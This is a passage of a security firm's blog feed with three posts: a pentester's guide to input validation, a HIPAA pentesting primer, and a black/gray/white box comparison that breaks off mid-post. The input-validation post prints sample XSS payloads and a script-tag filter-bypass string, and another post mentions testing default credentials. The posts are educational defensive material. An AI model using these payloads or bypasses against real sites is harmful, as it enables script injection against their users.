<p>The post <a href="https://www.virtuesecurity.com/a-pentesters-guide-to-input-validation/">A Pentester’s Guide to Input Validation</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>“Input Validation” is a broad term, but here we’ll specifically review those topics relevant to pentesting. This guide is created from the perspective of a pentester, but is geared towards developers and technical executives who wish to strengthen their applications.</p>



<h2 class="wp-block-heading">Background</h2>



<p>When dynamic web applications first evolved from their static predecessors, a new era of security emerged. Websites went from purely informational documents to powerful systems allowing users to manage their lives online.</p>



<p>But applications needed to handle user input safely, and ensure that they cannot not be maliciously subverted.</p>



<p>A core part of a penetration test is to assess how well an application validates input. During a pentest, attempts are made with all available inputs to access unauthorized data, tamper with database queries, and inject JavaScript.</p>



<h2 class="wp-block-heading">What is Input Validation?</h2>



<p>Input validation is the practice of sanitizing data to ensure it cannot adversely affect functional components of the application. For example, as user data is used to construct database queries, the application must ensure that those queries are not maliciously modified.</p>



<h2 class="wp-block-heading">Understanding Injection</h2>



<p>‘Injection’ is a term used in pentesting for when a malicious input can cause a specific technology to do something unintended.</p>



<p>For example, ‘SQL Injection’ refers to when a user can craft an input to create their own SQL queries, often resulting in a compromise of data.</p>



<p>“Script Injection” (or Cross-site Scripting) refers to when an attacker can cause arbitrary JavaScript to run in another user’s browser.</p>



<p>While there are many types of injection, some are so common that they have become a fundamental skill set of penetration testing.</p>



<p>Let’s review some of these.</p>



<h3 class="wp-block-heading">Cross-site Scripting (XSS)</h3>



<p>Cross-site Scripting (XSS) is a vulnerability that allows an attacker to execute arbitrary JavaScript in a victim’s web browser. By doing so, the victim’s session can be controlled or stolen by the attacker.</p>



<h4 class="wp-block-heading">Understanding the Attack</h4>



<p>This condition occurs when a web application does not properly encode dangerous characters, allowing the attacker to craft JavaScript that executes when another user uses the application.</p>



<p>For this reason, applications must carefully sanitize and encode data submitted by users. As an example, below shows two parameters sent by a user. The developer has forgotten to encode the <code>lastname</code> parameter, creating an XSS vulnerability:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="&lt;p&gt;You searched for:&lt;/p&gt;
First name: &lt;script&gt;alert(1);&lt;/script&gt;
Last name: &lt;script&gt;alert(2);&lt;/script&gt;" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #808080">&lt;</span><span style="color: #569CD6">p</span><span style="color: #808080">&gt;</span><span style="color: #D4D4D4">You searched for:</span><span style="color: #808080">&lt;/</span><span style="color: #569CD6">p</span><span style="color: #808080">&gt;</span></span>
<span class="line"><span style="color: #D4D4D4">First name: </span><span style="color: #808080">&lt;</span><span style="color: #569CD6">script</span><span style="color: #808080">&gt;</span><span style="color: #DCDCAA">alert</span><span style="color: #D4D4D4">(</span><span style="color: #B5CEA8">1</span><span style="color: #D4D4D4">);</span><span style="color: #808080">&lt;/</span><span style="color: #569CD6">script</span><span style="color: #808080">&gt;</span></span>
<span class="line"><span style="color: #D4D4D4">Last name: </span><span style="color: #808080">&lt;</span><span style="color: #569CD6">script</span><span style="color: #808080">&gt;</span><span style="color: #DCDCAA">alert</span><span style="color: #D4D4D4">(</span><span style="color: #B5CEA8">2</span><span style="color: #D4D4D4">);</span><span style="color: #808080">&lt;/</span><span style="color: #569CD6">script</span><span style="color: #808080">&gt;</span></span></code></pre></div>



<p>But unfortunately preventing script injection is not always so straightforward. Complex applications accept many types of input, and use that input in different contexts. Depending on where this data is used, the type of encoding needed to prevent XSS may change.</p>



<p>This is why pentesters must often analyze long chains of data handling behavior. Vulnerabilities often occur as a result of multiple application components behaving in unexpected ways.</p>



<p>A great example of this is an XSS vulnerability <a href="https://www.virtuesecurity.com/tale-of-a-wormable-twitter-xss/">we discovered in Twitter</a>, allowing a tweet to self-propagate.</p>



<h3 class="wp-block-heading">SQL Injection</h3>



<p>Storing data in a database in a ubiquitous trait of dynamic web applications. And therefore, SQL Injection remains as one of the most commonly found critical risk vulnerabilities today.</p>



<p>When user data is directly combined with SQL queries, users may have the ability to alter application logic and take complete control over the database.</p>



<p>As an example, the following login request can be made to bypass authentication on a vulnerable login form:</p>



<h3 class="wp-block-heading">Other Injection Types</h3>



<p>The challenges of &#8216;injection&#8217; extend well beyond the examples covered here. In fact, it extends to nearly every technology that may handle data generated by users.</p>



<p>Despite this, there are many other well known injection attacks worth calling out:</p>



<ul class="wp-block-list">
<li>Command Injection &#8211; when applications run shell commands, or run backend batch jobs, applications must prevent users from escaping these strings.</li>



<li>XML Injection &#8211; XML parsers often have powerful features that can be invoked by a specially crafted XML document. Applications that accept XML from users must carefully evaluate how XML is parsed.</li>



<li>Template Injection &#8211; when data can be injected directly to the rendering layer, it may be possible to execute arbitrary code.</li>



<li>ORM Injection &#8211; similar to SQL Injection, however, queries are modified at the ORM layer.</li>
</ul>



<p>The types of injection should be considered limitless and always subjective to the technology used by each application.</p>



<h2 class="wp-block-heading">Other Input Validation Vulnerabilities</h2>



<h3 class="wp-block-heading">Server-side Request Forgery (SSRF)</h3>



<p>SSRF is a vulnerability where an attacker can coerce an application to make unauthorized requests to other web resources. This can often be used to access internal resources or obtain sensitive information.</p>



<p>This commonly occurs as <a href="https://www.virtuesecurity.com/kb/wkhtmltopdf-file-inclusion-vulnerability-2/">vulnerabilities in PDF rendering utilities</a> but can manifest in many different types of software.</p>



<h3 class="wp-block-heading">URL Redirection</h3>



<p>Web applications frequently redirect users to external resources by using user-controlled parameters. These features can be abused to redirect users to malicious websites as part of phishing campaigns.</p>



<p>Read more: <a href="https://www.virtuesecurity.com/kb/url-redirection-attack-and-defense/">URL Redirection &#8211; Attack and Defense</a></p>



<h2 class="wp-block-heading">Input Validation and Penetration Testing</h2>



<p>As you might expect, different types of injection vulnerabilities require different testing techniques. Let’s look at what this means for pentesting.</p>



<h3 class="wp-block-heading">Pentesting Goals for Input Validation</h3>



<ol class="wp-block-list">
<li>Identify and understand application components.</li>



<li>Enumerate and discover accessible inputs.</li>



<li>Identify filters and encoding schemes.</li>



<li>Inject payloads and validate successful injections.</li>
</ol>



<h3 class="wp-block-heading">Finding Inputs</h3>



<p>Many inputs are easy to spot, GET and POST parameters are often the primary toggles used to control application behavior. But a careful review is always needed to evaluate less common inputs, which may include headers, cookies, and unused parameters.</p>



<p>Third-party integrations and external applications also create an array of unconventional inputs. These should not be overlooked, as they may be an important part of the application’s attack surface.</p>



<p>For this reason, simply using the application is rarely enough to understand all inputs.</p>



<h3 class="wp-block-heading">Bypassing Filters and Encoding Schemes</h3>



<p>Application pentesting is often a cat and mouse game to bypass input filters. A careful evaluation is always needed to understand:</p>



<ul class="wp-block-list">
<li>What characters or strings are filtered?</li>



<li>What Encoding Schemes are used?</li>



<li>Can data be input via overlooked sources to bypass that encoding?</li>
</ul>



<p>Example: consider an application where developers have decided to prevent XSS attacks by stripping <code>&lt;script&gt;</code> tags from input. This can be easily bypassed by supplying the string <code>&lt;sc&lt;script&gt;ript&gt;</code>, where once the filter is applied, the output is then <code>&lt;script&gt;</code>.</p>



<p>As you can imagine, this process is so unique to each application that automated tests will almost always fall short in this area.</p>



<h3 class="wp-block-heading">Pentesting File Uploads</h3>



<p>A simple file upload function can have a wide range of potential attacks. During a pentest, the following come under close scrutiny:</p>



<ul class="wp-block-list">
<li>Attempt to upload web shells or files that may be interpreted as server-side code.</li>



<li>Bypass restrictions of file names or file type.</li>



<li>Attempt to alter the upload destination with directory traversal attacks.</li>



<li>Determine if the application disallows malicious files.</li>
</ul>



<h4 class="wp-block-heading">Defensive Measures</h4>



<p>To counter these attacks, applications should take the following measures:</p>



<ul class="wp-block-list">
<li>Ensure file names and extensions cannot be controlled by users.</li>



<li>Validate the Content-Type of uploaded files.</li>



<li>Prevent traversal attacks by restricting “dot-dot-slash” sequences in file names.</li>



<li>Perform server-side scanning of files to detect potential malware.</li>
</ul>



<h3 class="wp-block-heading">Exploiting Localization and Internationalization</h3>



<p>Most modern technologies support localization for international users. But different character sets are not always handled as intended.</p>



<p>Extended character sets can be used to evade filters or craft data useful for phishing attacks. <a href="https://www.virtuesecurity.com/pentesting-user-interfaces/">Our research exploiting these</a> behaviors led to two CVEs affecting Chrome and Mozilla:</p>



<h3 class="wp-block-heading">Fuzzing, Explained</h3>



<p>Fuzzing is a strategy of testing where a large list of inputs is used to detect anomalies. Anomalies are often the first step to identify a vulnerability, as they indicate the application is mishandling a specific type of data.</p>



<h4 class="wp-block-heading">Fuzz Lists</h4>



<p>Maintaining quality fuzz lists is a valuable asset for pentesting. These lists are typically compiled for specific types of vulnerabilities and contain many common attack strings, or ‘payloads’.</p>



<h4 class="wp-block-heading">Burp Intruder</h4>



<p>Web application pentesters will typically use Burp’s ‘Intruder’ module to make repeated requests with each payload. This module includes default payload lists, a framework to define insertion points, and an array of optional conditional logic to apply.</p>



<p>The output can then be analyzed to identify outliers. Typically, sorting by response length or error code will reveal the payloads of interest.</p>



<h2 class="wp-block-heading">Validating Input &#8211; Defensive Strategies</h2>



<p>It’s important to understand some common methods used for input validation.</p>



<ul class="wp-block-list">
<li>Allow list vs Block list</li>



<li>URL encoding</li>



<li>HTML entity encoding</li>



<li>Parameterized queries</li>
</ul>



<h3 class="wp-block-heading">Encoding Methods for Keeping Data Safe</h3>



<p>Developers should evaluate encoding schemes to determine which may be most appropriate. However, the following schemes are commonly used to safely handle data:</p>



<h4 class="wp-block-heading">URL Encoding</h4>



<p>URL Encoding was originally designed to allow URI’s to support reserved characters and binary data. When constructing URI’s from untrusted data, URL encoding should be used.</p>



<h4 class="wp-block-heading">HTML Entity Encoding</h4>



<p>A set of reserved characters using the following values:</p>



<ol class="wp-block-list">
<li><code>&lt;</code> (Less than): <code>&amp;lt;</code></li>



<li><code>&gt;</code> (Greater than): <code>&amp;gt;</code></li>



<li><code>&amp;</code> (Ampersand): <code>&amp;amp;</code></li>



<li><code>"</code> (Double quotation mark): <code>&amp;quot;</code></li>



<li><code>'</code> (Single quotation mark or apostrophe): <code>&amp;apos;</code> or <code>&amp;#39;</code> (The latter is often preferred for compatibility)</li>
</ol>



<p>This encoding can be used to display literal characters, instead of rendering them within the HTML.</p>



<h4 class="wp-block-heading">Base64 Encoding</h4>



<p>For use cases where data includes binary characters, Base64 is a common choice to safely encode and preserve these characters. It should be noted that base64 is not an encryption algorithm and does not offer any type of security.</p>



<p>Example:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="dGhpcyBpcyBhIGJhc2U2NCBlbmNvZGVkIHN0cmluZyE=" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">dGhpcyBpcyBhIGJhc2U2NCBlbmNvZGVkIHN0cmluZyE=</span></span></code></pre></div>



<p>Decoded value:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="this is a base64 encoded string!" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">this is a base64 encoded string!</span></span></code></pre></div>



<h3 class="wp-block-heading">Allow Lists vs Block Lists</h3>



<p>When implementing character filters it’s important to be aware of two approaches:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Allow Lists</th><th>Block Lists</th></tr></thead><tbody><tr><td>A list of known-good characters are allowed, and everything else is rejected.</td><td>A list of known dangerous characters are blocked, and all other characters are allowed.</td></tr><tr><td><em>Pros</em></td><td><em>Pros</em></td></tr><tr><td>Good for situations where the application only expects letters and numbers.</td><td>Allows a broader range of input that may be needed for free-form text fields.</td></tr><tr><td><em>Cons</em></td><td><em>Cons</em></td></tr><tr><td>This list can be overly restrictive for some inputs, and may cause</td><td>It’s easy to overlook characters that may be dangerous.</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Variable Casting and Conversion</h3>



<p>Care should also be taken to ensure variables are cast into appropriate formats. Unexpected variable formats or incorrect variable type use can lead to the following vulnerabilities:</p>



<ul class="wp-block-list">
<li>Integer overflow, underflow, or wraparound conditions</li>



<li>Type confusion vulnerabilities</li>



<li>Format string vulnerabilities</li>



<li>Application crashes / verbose errors</li>
</ul>



<h2 class="wp-block-heading">Conclusion</h2>



<p>As you can now see, input validation is a critical subject for penetration testing. Not only does it cover a broad range of pentesting test cases, but it overlaps with many others as well.</p>
<p>The post <a href="https://www.virtuesecurity.com/a-pentesters-guide-to-input-validation/">A Pentester’s Guide to Input Validation</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1170</post-id>	</item>
		<item>
		<title>HIPAA Penetration Testing &#8211; A Primer for Healthcare Security</title>
		<link>https://www.virtuesecurity.com/hipaa-penetration-testing/</link>
		
		<dc:creator><![CDATA[admin___vs]]></dc:creator>
		<pubDate>Mon, 26 Jul 2021 06:41:47 +0000</pubDate>
				<category><![CDATA[Application]]></category>
		<guid isPermaLink="false">https://virtuedatabase.staging-valmax.com.ua/?p=666</guid>

					<description><![CDATA[<p>Curious about HIPAA requirements and what it means for your pentest? Let's review some technical examples of why pentesting in healthcare is so unique.</p>
<p>The post <a href="https://www.virtuesecurity.com/hipaa-penetration-testing/">HIPAA Penetration Testing &#8211; A Primer for Healthcare Security</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">What is a HIPAA Penetration Test?</h2>



<p>A HIPAA Penetration Test executes much of the same test cases a traditional pentest test would, but gives special consideration for protecting Protected Health Information (PHI) and HIPAA requirements.</p>



<p>Just as a HIPAA risk assessment should analyze how well your organization implements patient data safeguards, a HIPAA penetration test dives deeper to analyze how well an application or network protects PHI.</p>



<h2 class="wp-block-heading">HIPAA Penetration Testing Background</h2>



<p>When the <a href="https://www.cdc.gov/phlp/publications/topic/hipaa.html">HIPAA framework</a> was created, a set of requirements was prescribed to ensure <a href="https://www.hhs.gov/hipaa/for-professionals/covered-entities/index.html">covered entities</a> took measures to protect PHI.</p>



<h3 class="wp-block-heading">HIPAA Security Challenges</h3>



<p>In 1996 the US health system was beginning a major transformation from pen, paper, and fax to modern computing. The overhaul did not come without significant security challenges, many of which can still be felt today.</p>



<h4 class="wp-block-heading">Fast growth and security debt</h4>



<p>Remember <a href="https://www.healthit.gov/topic/meaningful-use-and-macra/meaningful-use">Meaningful Use</a>? When providers, vendors, and consultants rushed to meet the certification criteria, meaningful security was mostly an afterthought.</p>



<p>These afterthoughts created substantial “security debt” by the vast majority of the Health IT ecosystem.</p>



<h4 class="wp-block-heading">Interoperability and attack surfaces</h4>



<p>Healthcare technology interacts with an extremely broad ecosystem of technologies and parties. A HIPAA penetration test must consider interactions with these systems to fully identify attack vectors. Familiarity with the healthcare ecosystem is crucial for understanding how to penetrate healthcare applications.</p>



<h4 class="wp-block-heading">Unique Standards and confusing protocols</h4>



<p>Health IT applications use a number of technologies which are not necessarily intuitive to your average penetration tester. HL7, FHIR, and many standards require familiarity to identify security risks.</p>



<p>The better a tester understands these, the fast they can identify misconfigurations and security weaknesses.</p>



<h2 class="wp-block-heading">Why is a HIPAA Penetration Test Different?</h2>



<p>So what is actually difference between pentests in other industries and those in healthcare? Thet differences will vary between applications and networks, but there are a few themes that will likely remain the same.</p>



<h3 class="wp-block-heading">Lapse of PHI Protection</h3>



<p>PHI is not an arbitrary subset of data. In fact, the HHS specifies 18 identifiers that turn health information into PHI. During a HIPAA penetration test, the pentester should be aware of this and understand the significance of the required technical safeguards.</p>



<h3 class="wp-block-heading">Data Protection Nuances</h3>



<p>Data protection nuances do not end by simply understanding PHI. For example, Academic Medical Centers dealing with anonymized or de-identified data have different security obligations for each. A proper HIPAA penetration test should use this same consideration.</p>



<h3 class="wp-block-heading">Special Technologies</h3>



<p>Unique technologies have unique security problems; healthcare IT has no shortage of these technologies and their challenges. Much of these are easy to overlook by your average penetration tester. To give an example, here’s just a few examples:</p>



<ul class="wp-block-list">
<li><p><em>DICOM Imaging</em> &#8211; This format developed for radiology can embed full patient records within the metadata of JPEGs. In some instances these images have been published to patient portals leaving deeply sensitive information contained within them.</p></li>



<li><p>FHIR &#8211; The FHIR API is used by a vast number of web applications, but does not necessarily implement authentication and authorization. In several HIPAA penetration tests we have seen improper FHIR implementations allow arbitrary access to health records.</p></li>



<li><p>HL7 &#8211; the plumbing of Health IT; a series of tubes creating a Rube Goldberg machine that is the US Healthcare system. Since penetration testing requires an analysis of data passed in and out of an application, a basic understanding of HL7 is important.</p></li>
</ul>



<h3 class="wp-block-heading">Healthcare Devices</h3>



<p>It&#8217;s hard to talk about healthcare pentesting without the topic of devices. From bedside insulin to radiology imaging, the clinical world has an IT footprint riddled with outdated or fundamentally insecure devices. A seasoned healthcare pentester has not just a better chance of finding vulnerabilities, but can also provide better remediation advice.</p>



<h2 class="wp-block-heading">HIPAA and Application Pentesting</h2>



<p>Developing a SaaS, mobile, or other software solution that processes PHI?</p>



<p>Applications handling PHI should take special precautions to ensure data is not cached or transferred to unintended recipients. Traditional application pentests often raise a number of low risk issues related to this, but a HIPAA penetration test should take special precautions for these.</p>



<p>Some examples include:</p>



<ul class="wp-block-list">
<li><a href="https://www.virtuesecurity.com/kb/cache-controls-explained/">Cache Controls</a> &#8211; Using web headers such as <code>Expires</code>, <code>Pragma</code>, and <code>Cache-control</code> must be used to prevent data being stored on shared workstations.</li>



<li>Timeout Screen Redirection &#8211; When a user session times out, simply expiring the session token is not enough. Web applications should implement client-side code to redirect the user to a login page. This can prevent PHI from being left on screen when a workstation is unattended.</li>



<li>Use of GET/POST &#8211; HIPAA pentests should take a closer look at GET requests to ensure they do not contain PHI. Remember, this includes phone numbers, names, and IDs which may normally not be of such concern.</li>
</ul>



<h2 class="wp-block-heading">HIPAA and AWS Penetration Testing</h2>



<p>Although HIPAA does not prescribe guidance specifically for cloud providers, there are some important things to know.</p>



<ol class="wp-block-list">
<li>You should be aware of the security capability of AWS services to ensure data is encrypted at rest and transit.</li>



<li>AWS requires a BAA is in place for some customers:<br><a href="https://aws.amazon.com/premiumsupport/knowledge-center/activate-artifact-baa-agreement/">https://aws.amazon.com/premiumsupport/knowledge-center/activate-artifact-baa-agreement/</a></li>



<li>Not all AWS services are eligible for HIPAA applications, it is recommended your cloud stack is examined closely for compliance.<br><a href="https://aws.amazon.com/compliance/hipaa-eligible-services-reference/">https://aws.amazon.com/compliance/hipaa-eligible-services-reference/</a></li>
</ol>



<p>For a closer look at pentesting on AWS we have a more detailed <a href="https://www.virtuesecurity.com/aws-penetration-testing-essential-guidance/">AWS Pentesting</a> guide.</p>



<h2 class="wp-block-heading">Scoping a HIPAA Penetration Test</h2>



<p>Scoping is one of the most important first steps of a penetration test. It’s so important that we recommend using it when <a href="https://www.virtuesecurity.com/5-tips-for-selecting-a-penetration-testing-company-in-2020/">evaluating a pentest company</a>. To begin, you will need to determine if you are focusing on an application pentest, network pentest, or a hybrid mix.</p>



<p>For organizations with SaaS, mobile, and general web applications, an application pentest is likely the best assessment for you. Then choosing the style of test (<a href="https://www.virtuesecurity.com/black-box-vs-gray-box-vs-white-box-pentesting-explained/">black box, gray box, or whitebox</a>) is the next important step. The vast majority of organizations will perform gray box assessments, but unique circumstances may change that.</p>



<p>On the network side of things, you should consider whether the testing will cover the external network or internal.</p>



<h2 class="wp-block-heading">HIPAA Pentesting FAQ</h2>



<h4 class="wp-block-heading">Do I need a BAA for my penetration testing vendor?</h4>



<p>The majority of covered entities do not require a BAA from pentesting vendors unless explicit access is granted to PHI. By nature, access to PHI would be considered incidental during a penetration test.</p>



<h4 class="wp-block-heading">Does HIPAA require a penetration test?</h4>



<p>The HIPAA Security Rule requires a “risk analysis” is performed on the technology storing or processing PHI. Although this does not explicitly require a pentest, a HIPAA penetration test is widely regarded as the most appropriate way to perform this analysis.</p>



<h2 class="wp-block-heading">Wrapping Up</h2>



<p>Experience in Healthcare can make all the difference in a good or bad HIPAA penetration test. At Virtue Security we have been a HIMSS exhibitor for 8 consecutive years and strive to support our Healthcare heroes who save lives everyday.</p>



<p>If you&#8217;re curious about what HIPAA means for your application or network pentest, drop us a line or visit our <a href="https://www.virtuesecurity.com/services/">pentesting services</a> page.</p>
<p>The post <a href="https://www.virtuesecurity.com/hipaa-penetration-testing/">HIPAA Penetration Testing &#8211; A Primer for Healthcare Security</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1155</post-id>	</item>
		<item>
		<title>Black Box vs. Gray Box vs. White Box Pentesting Explained</title>
		<link>https://www.virtuesecurity.com/black-box-vs-gray-box-vs-white-box-pentesting-explained/</link>
		
		<dc:creator><![CDATA[admin___vs]]></dc:creator>
		<pubDate>Thu, 08 Jul 2021 02:17:42 +0000</pubDate>
				<category><![CDATA[Application]]></category>
		<guid isPermaLink="false">https://virtuedatabase.staging-valmax.com.ua/?p=602</guid>

					<description><![CDATA[<p>Black Box, Gray Box, and White Box pentests have pros and cons. Here we lay out all the differences to help you decide which one fits best.</p>
<p>The post <a href="https://www.virtuesecurity.com/black-box-vs-gray-box-vs-white-box-pentesting-explained/">Black Box vs. Gray Box vs. White Box Pentesting Explained</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>We are frequently asked to help advise on the appropriate scope for application penetration tests. Time and budget constraints can often raise the question of whether to use a black box, gray box, or white box penetration test.</p>



<h2 class="wp-block-heading" id="h-what-is-a-black-box-application-pentest">What is a black box application pentest?</h2>



<p>A black box penetration test is an application pentest where the tester is provided nothing more than the target location of the application. This is usually conducted against an application which requires authentication, however, credentials are not provided to the tester.</p>



<p>The primary objective is to determine “Can an external attacker with no prior access, obtain access to the application or data?”.</p>



<h2 class="wp-block-heading" id="h-what-s-performed-in-a-black-box-pentest">What&#8217;s performed in a black box pentest?</h2>



<p>Although the ability of the pentester is greatly limited without credentials, there are a number of attacks and tactics used to obtain access or sensitive information.</p>



<h3 class="wp-block-heading" id="h-content-discovery">Content Discovery</h3>



<p>Pentesters will use a number of tools to enumerate files, directories, and functionality which may be accessible on the web server. Burp suite for example has built-in functionality to quickly discover web content.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/07/burp-black-box-discovery.png" alt="Black box - enumeration" class="wp-image-605" style="object-fit:cover"/ loading="lazy" class="lazyload"></figure></div>


<h3 class="wp-block-heading" id="h-default-credentials">Default Credentials</h3>



<p>Chances are low that <code>admin / admin</code> password combinations exist in modern applications, but a tester must check for them. A pentester should also use any information available to test for easy to guess credentials.</p>



<h3 class="wp-block-heading" id="h-username-enumeration">Username Enumeration</h3>



<p><a href="https://www.virtuesecurity.com/kb/username-enumeration/">Username Enumeration</a> is a common theme in application pentesting, but especially relevant for black box pentests. As a first step to gaining access, a pentester will use a large dictionary of usernames against the login form to see if the application indicates if a username is valid.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/07/account_harvesting.png" alt="Black Box - username harvesting" class="wp-image-604" style="object-fit:cover"/ loading="lazy" class="lazyload"></figure></div>


<p>It is recommended that sensitive applications do not reveal whether usernames are valid or not.</p>



<h2 class="wp-block-heading" id="h-what-is-a-gray-box-penetration-test">What is a gray box penetration test?</h2>



<p>A gray box penetration test is performed with credentialed access. This allows the pentester to assume the role of legitimate users of all privilege levels. The tester can then perform attacks from the perspective of users to determine the impact a bad actor could have.</p>



<h2 class="wp-block-heading" id="h-what-s-performed-in-a-gray-box-penetration-test">What&#8217;s performed in a gray box penetration test?</h2>



<p>The word performed from a gray box perspective is substantially more comprehensive than a black box. This includes some of the following:</p>



<ol class="wp-block-list">
<li><p><em>Testing of role based access controls</em> &#8211; Identifying if low privilege users can access data or functionality belonging to higher privileged users.</p></li>



<li><p><em>Testing of data handling</em> &#8211; Authenticated applications often process and store a wide array of user submitted data. A gray box pentest will analyze encoding schemes that may protect against Cross-site Scripting (XSS) and SQL Injection vulnerabilities.</p></li>



<li><p><em>Testing of session management</em> &#8211; cookie based authentication, JWT tokens, and custom session management schemes all can be susceptible to unique attacks.</p></li>



<li><p><em>Testing of application technology</em> &#8211; Does your application use a framework like .NET, Django, or Rails? Do you integrate with cloud components? Many common functionality like uploading documents to S3, or using <a href="https://www.virtuesecurity.com/kb/wkhtmltopdf-file-inclusion-vulnerability-2/">wkhtmltopdf</a>, all have their very specialized security considerations needed.</p></li>



<li><p><em>Testing of business logic</em> &#8211; One of the biggest differentiators in a good vs. average application pentest. This is where a tester uses all available technical pieces of an application to undermine your business. Consider a shopping cart that allowed a quantity of &#8216;.5&#8217;, or a financial transaction that didn’t validate a negative deposit.</p></li>
</ol>



<h2 class="wp-block-heading" id="h-what-is-a-white-box-penetration-test">What is a white box penetration test?</h2>



<p>A white box penetration test includes the scope of a gray box penetration test, but also allows access to source code, design documents, code comments, and just about everything a developer would typically have. This allows the most insightful perspective into the inner workings of the application and can potentially reveal the most security findings.</p>



<p>This assessment, however, is also the most labor intensive and time consuming. Not all applications are appropriate to assess in this fashion.</p>



<h2 class="wp-block-heading" id="h-cost-analysis-of-a-black-box-vs-gray-box-vs-white-box-pentests">Cost Analysis of a Black Box vs Gray Box vs. White Box Pentests</h2>



<p>Many people first consider a black box pentest as a cheap way to satisfy compliance requirements. Although this is the lowest cost method of performing a pentest, it returns significantly lower value.</p>



<p>At a high level it’s safe to say the following about Black vs. Gray vs White box assessments:</p>



<ul class="wp-block-list">
<li>Black box tests cost the least, but produce a very low number of vulnerabilities.</li>



<li>Gray box tests fall in the middle range of cost, but return a good number of substantially useful vulnerabilities.</li>



<li>White box tests are the highest in cost. These should produce the highest number of vulnerabilities, but the time needed to identify them is high. This leads to a high dollar per vulnerability ratio.</li>
</ul>



<p>To illustrate this, let’s look at an average number of vulnerabilities returned from each pentest type:</p>


<div class="wp-block-image">
